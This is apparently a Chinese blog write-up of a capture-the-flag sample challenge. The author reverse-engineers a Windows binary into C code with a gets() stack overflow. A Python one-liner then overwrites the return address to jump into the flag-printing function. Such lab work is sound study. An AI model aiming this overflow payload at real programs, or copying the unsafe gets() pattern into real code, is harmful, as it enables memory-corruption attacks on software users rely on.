中软吉大•问鼎杯决赛样题溢出类

Reading time ~1 minute

题目如下:

下载test.exe文件,请想方法找到key。文件下载(500分)

首先是逆向,仿写程序如下:

const char password[] = "$1$k3Eadsf$blee.9JxQ75A/dSQSxW3v/";

void authorized()
{
    printf("V0RGbGFnPQ==");
    printf("{");
    printf("%sn", md5("kernel32.GetVesion"));
    printf("}");
}

void doit()
{
    char s[8];
    printf("please input the password:");
    gets(s);
    if (strcmp(md5(s), password) == 0) {
        authorized();
    }
}

int main()
{
    doit();
    return 0;
}

其中V0RGbGFnPQ==为WDFlag=的base64加密后的值。

程序是逆向清楚了,但是完全不明白这个题目是想让我们干嘛了,难道说key就是kernel32.GetVesion,那直接逆向就得到了,还要溢出干嘛,并且溢出得到的是md5之后的值,要由md5得到kernel32.GetVesion也不容易吧……

不管咋样,还是溢出一个吧,s和doit()的返回地址差了8 bytes,authorized的地址0x00401C40,所以溢出如下:

python -c "print 'a' * 8 + 'x40x1Cx40x00'" > payload
6.test.exe < payload

对于这题,只能说完全不知道想干嘛了,反正是样题,就这样吧~~~

6.test.exe.zip

挂载网络文件夹后网络故障时文件操作命令卡死

挂载 NFS 或者 Samba 的时候,经常会由于网络故障导致挂载好的链接断掉。此时如果尝试进行 ls、cd、df 等各种命令,只要与此目录沾上边,就会卡住。如果使用了类似 oh-my-zsh 这种配置的,只要在网络目录中,弹出命令提示符前就会直接卡住。这个时候第一反应就是...… Continue reading

路由折腾记 第四弹

Published on September 02, 2017